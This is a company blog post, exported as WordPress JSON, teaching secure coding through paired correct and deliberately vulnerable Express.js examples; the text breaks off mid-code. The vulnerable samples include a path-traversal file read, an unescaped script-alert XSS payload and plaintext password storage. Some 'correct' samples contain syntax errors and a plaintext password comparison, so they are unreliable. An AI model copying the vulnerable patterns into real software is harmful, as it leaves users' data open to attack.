{"id":7802,"date":"2025-03-25T11:13:16","date_gmt":"2025-03-25T04:13:16","guid":{"rendered":"https:\/\/www.briswell-vn.com\/?p=7802"},"modified":"2025-03-25T11:13:16","modified_gmt":"2025-03-25T04:13:16","slug":"secure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan","status":"publish","type":"post","link":"https:\/\/www.briswell-vn.com\/en\/news\/secure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan\/","title":{"rendered":"SECURE CODING AND BEST METHODS FOR BUILDING SECURE APPLICATIONS"},"content":{"rendered":"<p><\/p>\n<h2 class=\"western\">Introduction to secure coding<\/h2>\n<p>Secure coding is the process of writing highly secure source code, minimizing vulnerabilities to prevent attacks from intruders or hackers, focusing on writing code, and developing applications safely.<\/p>\n<p>Insecure code is the main source of many security problems in software. Errors in the code can lead to serious problems such as security <span style=\"font-weight: 400;\">vulnerabilities<\/span>, intrusions, unauthorized access to data, and even harm to systems and users. Secure coding ensures that applications and systems are written correctly and securely from development to deployment.<\/p>\n<h2 class=\"western\">Why is secure coding important?<\/h2>\n<p>Secure coding is an extremely important aspect of software development as it plays an important role in protecting applications and systems from attacks and security <span style=\"font-weight: 400;\">vulnerabilities<\/span>. Here are a few reasons why secure coding is important:<\/p>\n<ol>\n<li>Data Protection: Secure coding protects the data of users and organizations from unauthorized access, alteration, or theft. If applications are not securely <span style=\"font-weight: 400;\">coded<\/span>, sensitive information can be exposed, leading to serious consequences, including <span style=\"font-weight: 400;\">financial loss<\/span>, organizational reputation <span style=\"font-weight: 400;\">damage<\/span>, and <span style=\"font-weight: 400;\">violation of data security regulations.<\/span><\/li>\n<li>Prevent attacks: Secure coding reduces the possibility of attacks from intruders or hackers. By processing and filtering input data, we can prevent common attacks such as SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Command Injection, Cross-Site Script Inclusion (XSSI), Server-Side Request Forgery (SSRF), etc.<\/li>\n<li>Ensure Availability and Reliability: Applications written in secure coding will work more stably and reliably. Minimizing bugs and security <span style=\"font-weight: 400;\">vulnerabilities<\/span> helps the application avoid unexpected problems, and ensures system availability.<\/li>\n<li>Damage mitigation: An application that is not written securely can be hacked and cause serious damage to the system and users. The implementation of secure coding helps to reduce the risk and extent of damage in the event of an attack.<\/li>\n<li>Compliance with security regulations and standards: Secure coding helps meet organizational and industry security standards and requirements. Many sectors, like healthcare and finance, have strict requirements for data security and protection. The adoption of secure coding is necessary to comply with these regulations and avoid penalties for privacy and security violations.<\/li>\n<li>Building trust and reputation: The safety and security of the application contribute to building trust and a positive reputation for the organization. Users and customers will have more confidence in the application they use if it is secure.<\/li>\n<\/ol>\n<p>In short, secure coding is a core element in protecting applications and systems from attacks and security <span style=\"font-weight: 400;\">vulnerabilities<\/span>. <span style=\"font-weight: 400;\">It<\/span><span style=\"font-weight: 400;\"> ensure<\/span><span style=\"font-weight: 400;\">s<\/span> the security and reliability of the software, and protects user and organization data, while also meeting security requirements and standards.<\/p>\n<h2>Important principles and methods in secure coding<\/h2>\n<h3>Input Validation<\/h3>\n<p>All input data should be checked by both client and server before performing other tasks.<\/p>\n<p>Failed data validation should be rejected immediately and no further processing is performed. Returns an invalid input message to the user.<\/p>\n<p><span style=\"font-weight: 400;\">Navigation handlers that take data such as GET a file should not be processed directly from user input but should be obtained via a constant such as file_id.<\/span><\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> fs = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'fs\/promises'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>;\r\n\r\nenum File { \r\n  1: 'example.txt', \r\n  2: 'example2.txt' \r\n}\r\n\r\n<span class=\"hljs-comment\">\/\/ Route to get data from file<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/file'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; { \r\n  if (isNaN(req.query.fileId)) { \r\n    return res.status(400).send('fileId must be a numeric value'); \r\n  }\r\n \r\n<span class=\"hljs-keyword\">  try<\/span> { \r\n<span class=\"hljs-keyword\">    const filePath = `.\/files\/${File[req.query.fileId]}`;<\/span> \r\n \r\n<span class=\"hljs-comment\">    \/\/ Read the contents of the file<\/span>\r\n<span class=\"hljs-keyword\">    const<\/span> fileContent = <span class=\"hljs-keyword\">await<\/span> fs.<span class=\"hljs-title function_\">readFile<\/span>(filePath, <span class=\"hljs-string\">'utf-8'<\/span>); \r\n \r\n    res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">send<\/span>(fileContent); \r\n  } <span class=\"hljs-keyword\">catch<\/span> (error) { \r\n    res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">send<\/span>(<span class=\"hljs-string\">'An error occurred while reading the file.'<\/span>); \r\n  } \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In this example, we use the fileId the user sends up to get the file path we want to access. This helps to ensure that we are not directly pulling the filename from the user data, thereby avoiding security issues such as unwanted access holes.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> fs = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'fs\/promises'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>;  \r\n \r\n<span class=\"hljs-comment\">\/\/ Route to get data from file<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/file'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; { <span class=\"hljs-keyword\"> \r\n  try<\/span> {  <span class=\"hljs-comment\">\r\n    \/\/ Uses the filename from user input and reads the file's contents<\/span><span class=\"hljs-keyword\">\r\n    const<\/span> fileContent = <span class=\"hljs-keyword\">await<\/span> fs.<span class=\"hljs-title function_\">readFile<\/span>(req.body.fileName, <span class=\"hljs-string\">'utf-8'<\/span>); \r\n \r\n    res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">send<\/span>(fileContent); \r\n  } <span class=\"hljs-keyword\">catch<\/span> (error) { \r\n    res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">send<\/span>(<span class=\"hljs-string\">'An error occurred while reading the file.'<\/span>); \r\n  } \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In this example, we used the filename from user-supplied data. This will suffer from security issues such as unwanted access vulnerabilities.<\/p>\n<h3>Output Encoding<\/h3>\n<p>All output data that needs to be encoded can use HTML entity encoding\u00a0to perform data encoding against Cross-site Scripting (XSS) vulnerabilities.<\/p>\n<p>Cleaning removes data related to operating system commands to avoid errors related to Command injection.<\/p>\n<p>Suppress data on display against data SQL queries that help protect against SQL Injection related vulnerabilities.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> escapeHtml = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'escape-html'<\/span>);\r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/customerProfile'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> customer = { \r\n<span class=\"hljs-attr\">    name<\/span>: <span class=\"hljs-string\">\"test\"<\/span>, \r\n<span class=\"hljs-attr\">    note<\/span>: <span class=\"hljs-string\">\"&lt;script&gt;alert('XSS attack!');&lt;\/script&gt;\"<\/span> \r\n  }; \r\n \r\n  <span class=\"hljs-keyword\">const<\/span> encodedCustomerNote = escapeHtml(customer.note);\r\n \r\n  res.<span class=\"hljs-title function_\">send<\/span>(<span class=\"hljs-string\">` \r\n    &lt;h1&gt;Hello, <span class=\"hljs-subst\">${customer.name}<\/span>!&lt;\/h1&gt; \r\n    &lt;p&gt;<span class=\"hljs-subst\">${encodedCustomerNote}<\/span>&lt;\/p&gt; `\r\n<\/span>  ); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above code, we used the escape-html library to encode the content of customer.note before putting it into HTML. This ensures that any malicious JavaScript code will be encrypted and displayed as regular, non-executable text.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/customerProfile'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> customer = { \r\n<span class=\"hljs-attr\">   name<\/span>: <span class=\"hljs-string\">\"test\"<\/span>, \r\n<span class=\"hljs-attr\">   note<\/span>: <span class=\"hljs-string\">\"&lt;script&gt;alert('XSS attack!');&lt;\/script&gt;\"<\/span> \r\n }; \r\n \r\n res.<span class=\"hljs-title function_\">send<\/span>(<span class=\"hljs-string\">` \r\n   &lt;h1&gt;Hello, <span class=\"hljs-subst\">${customer.name}<\/span>!&lt;\/h1&gt; \r\n   &lt;p&gt;<span class=\"hljs-subst\">${customer.<span class=\"hljs-attr\">note<\/span>}<\/span>&lt;\/p&gt; `\r\n<\/span> ); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above code, we are returning the customer\u2019s personal information. However, the customer.note variable contains a malicious piece of JavaScript code that will be executed when the browser displays it, causing an XSS attack.<\/p>\n<h3>Authentication and Password Management<\/h3>\n<p>Authentication is required for critical resources that are not publicly accessible. Public resources such as CSS, js, etc. do not need to be authenticated.<\/p>\n<p>Can use the provided authentication mechanisms such as Oauth2 or Google <span style=\"font-weight: 400;\">authentication<\/span>, Facebook authentication, etc.<\/p>\n<p>Need to encrypt the password can use the provided reputable library.<\/p>\n<p>When logging in, if the user enters the wrong username or password instead of specifically saying &#8220;the user has the wrong username&#8221; or &#8220;the user has entered the wrong password&#8221; just notify that &#8220;the user entered the wrong login information&#8221; to avoid collecting information from hackers.<\/p>\n<p>An authentication mechanism should be implemented before external systems connect to our system to get data (via API, web service, etc.).<\/p>\n<p>Use HTPP POST for authentication requests and the password shows up as *** unreadable.<\/p>\n<p>It is recommended to use strong passwords for accounts such as having at least one uppercase letter, one lowercase letter, one number, one special character, and at least 8 characters in length.<\/p>\n<p>The password reset link should have a short expiration time.<\/p>\n<p>Need to set up a 2FA authentication mechanism for important tasks.<\/p>\n<p>Set password change frequency and password re-use mechanism.<\/p>\n<p>Request a temporary password change on the first login and set up a mechanism to lock the account after a number of incorrect credentials.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> bcrypt = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'bcrypt'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Assume this is a database that stores user information<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = []; \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\n<span class=\"hljs-comment\">\/\/ User registration<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/register'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; {\r\n <span class=\"hljs-keyword\">const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n \r\n<span class=\"hljs-comment\"> \/\/ Check if the user already exists<\/span> \r\n<span class=\"hljs-keyword\"> if<\/span> (users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username)) {\r\n   <span class=\"hljs-keyword\">return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">400<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'User already exists.'<\/span> }); \r\n } \r\n \r\n<span class=\"hljs-comment\"> \/\/ Encrypt password before saving to database<\/span>\r\n<span class=\"hljs-keyword\"> const<\/span> hashedPassword = <span class=\"hljs-keyword\">await<\/span> bcrypt.<span class=\"hljs-title function_\">hash<\/span>(password, <span class=\"hljs-number\">10<\/span>); \r\n \r\n<span class=\"hljs-comment\"> \/\/ Save user information to the database<\/span> \r\n users.<span class=\"hljs-title function_\">push<\/span>({ username, <span class=\"hljs-attr\">password<\/span>: hashedPassword }); \r\n<span class=\"hljs-keyword\">  \r\n return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">201<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Sign Up Success.'<\/span> }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ Login<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/login'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; { \r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n \r\n<span class=\"hljs-comment\"> \/\/ Find users in the database<\/span>\r\n<span class=\"hljs-keyword\"> const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username); \r\n<span class=\"hljs-keyword\"> if<\/span> (!user) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'User entered incorrect login information.'<\/span> }); \r\n } \r\n \r\n<span class=\"hljs-comment\"> \/\/ Compare encrypted passwords<\/span> \r\n<span class=\"hljs-keyword\"> const<\/span> isPasswordValid = <span class=\"hljs-keyword\">await<\/span> bcrypt.<span class=\"hljs-title function_\">compare<\/span>(password, user.<span class=\"hljs-property\">password<\/span>); \r\n<span class=\"hljs-keyword\"> if<\/span> (!isPasswordValid) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'User entered incorrect login information.'<\/span> }); \r\n } \r\n\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Logged in successfully.'<\/span> }); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above code:<\/p>\n<p>When a user registers, the password is encrypted before being saved to the database ensuring that the password is not saved as plain text in the database, increasing the security of the application.<\/p>\n<p>When the user logs in, we check the entered password by comparing it with the encrypted password in the database and if the user enters the wrong username or password, we will output the general message \u2018User entered incorrect login information.\u2019 to avoid collecting information from hackers.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> bcrypt = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'bcrypt'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n\r\n<span class=\"hljs-comment\">\/\/ Assume this is a database that stores user information<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = []; \r\n\r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n\r\n<span class=\"hljs-comment\">\/\/ User registration<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/register'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; {\r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n\r\n<span class=\"hljs-comment\"> \/\/ Check if the user already exists<\/span>\r\n<span class=\"hljs-keyword\"> if<\/span> (users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username)) {\r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">400<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'User already exists.'<\/span> }); \r\n } \r\n\r\n<span class=\"hljs-comment\"> \/\/ Save user information without password encryption into the database<\/span>\r\n users.<span class=\"hljs-title function_\">push<\/span>({ username, <span class=\"hljs-attr\">password<\/span>}); \r\n<span class=\"hljs-keyword\"> \r\n return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">201<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Sign Up Success.'<\/span> }); \r\n}); \r\n\r\n<span class=\"hljs-comment\">\/\/ Login<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/login'<\/span>, <span class=\"hljs-keyword\">async<\/span> (req, res) =&gt; { \r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n\r\n<span class=\"hljs-comment\"> \/\/ Find users in the database<\/span>\r\n<span class=\"hljs-keyword\"> const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username); \r\n<span class=\"hljs-keyword\"> if<\/span> (!user) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'User entered incorrect username information.'<\/span> }); \r\n } \r\n\r\n<span class=\"hljs-comment\"> \/\/ Compare passwords<\/span>\r\n<span class=\"hljs-keyword\"> if<\/span> (password !== user.<span class=\"hljs-property\">password<\/span>) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'User entered incorrect password information'<\/span> }); \r\n } \r\n\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Logged in successfully.'<\/span> }); \r\n});\r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above code:<\/p>\n<p>When a user registers, the password is not encrypted before being saved to the database and violates the security of the application.<\/p>\n<p>When a user logs in and enters an incorrect username or password information, the security problem is a specific error such as: \u201cUser entered incorrect username information.\u201d or \u201cUser entered incorrect password information\u201d.<\/p>\n<h3>Session Management<\/h3>\n<p>Generation of sessions using identifiers must ensure randomness and avoid session sniffing or guessing attacks.<\/p>\n<p>When logging out, the session should be terminated immediately.<\/p>\n<p>The logout function must be available on all authenticated sites so that users can log out whenever they have successfully authenticated.<\/p>\n<p>Do not allow the session to exist simultaneously with the same user to ensure the restriction of unauthorized access.<\/p>\n<p>When re-authenticating still need to make sure to create a session with a new identifier to ensure it does not match the old session.<\/p>\n<p>Should set the lifetime for a session.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> session = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express-session'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Use session middleware<\/span> \r\napp.<span class=\"hljs-title function_\">use<\/span>(<span class=\"hljs-title function_\">session<\/span>({ \r\n<span class=\"hljs-attr\"> secret<\/span>: <span class=\"hljs-string\">'secretKey'<\/span>, \r\n<span class=\"hljs-attr\"> resave<\/span>: <span class=\"hljs-literal\">true<\/span>, \r\n<span class=\"hljs-attr\"> saveUninitialized<\/span>: <span class=\"hljs-literal\">true,\r\n cookie: { maxAge: 86400000) }<\/span>\r\n})); \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\n<span class=\"hljs-comment\">\/\/ Assume this is a database that stores user information<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = [ { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'test'<\/span>, <span class=\"hljs-attr\">password<\/span>: <span class=\"hljs-string\">'password_hash'<\/span> } ]; \r\n \r\n<span class=\"hljs-comment\">\/\/ Check if user is logged in<\/span>\r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">isAuthenticated<\/span>(<span class=\"hljs-params\">req, res, next<\/span>) { \r\n<span class=\"hljs-keyword\"> if<\/span> (req.<span class=\"hljs-property\">session<\/span> &amp;&amp; req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>) { \r\n<span class=\"hljs-keyword\">  return<\/span> <span class=\"hljs-title function_\">next<\/span>(); \r\n }\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'You need to log in to continue.'<\/span> }); \r\n} \r\n \r\n<span class=\"hljs-comment\">\/\/ Login<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/login'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n<span class=\"hljs-keyword\"> const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username); \r\n<span class=\"hljs-keyword\"> if<\/span> (!user || user.<span class=\"hljs-property\">password<\/span> !== password) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'Incorrect username or password.'<\/span> }); \r\n } \r\n \r\n req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span> = username; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Logged in successfully.'<\/span> }); \r\n}); \r\n  \r\n<span class=\"hljs-comment\">\/\/ Show user information after login<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/profile'<\/span>, isAuthenticated, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> username = req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({<span class=\"hljs-attr\">message<\/span>: `Personal information<span class=\"hljs-string\">: ${username}`<\/span>}); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ Logout<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/logout'<\/span>, isAuthenticated, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-title function_\">destroy<\/span>(); \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Sign out successful.'<\/span> }); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p align=\"left\">In the above example, when the user logs in successfully, we save the username information into the session and set the lifetime to 1 day. The \/profile and \/logout routes require a logged-in user for access, and we check session information to verify the login status. When the user logs out, we will end this session and will recreate a new session when the user logs back in.<\/p>\n<p align=\"left\"><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> session = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express-session'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span 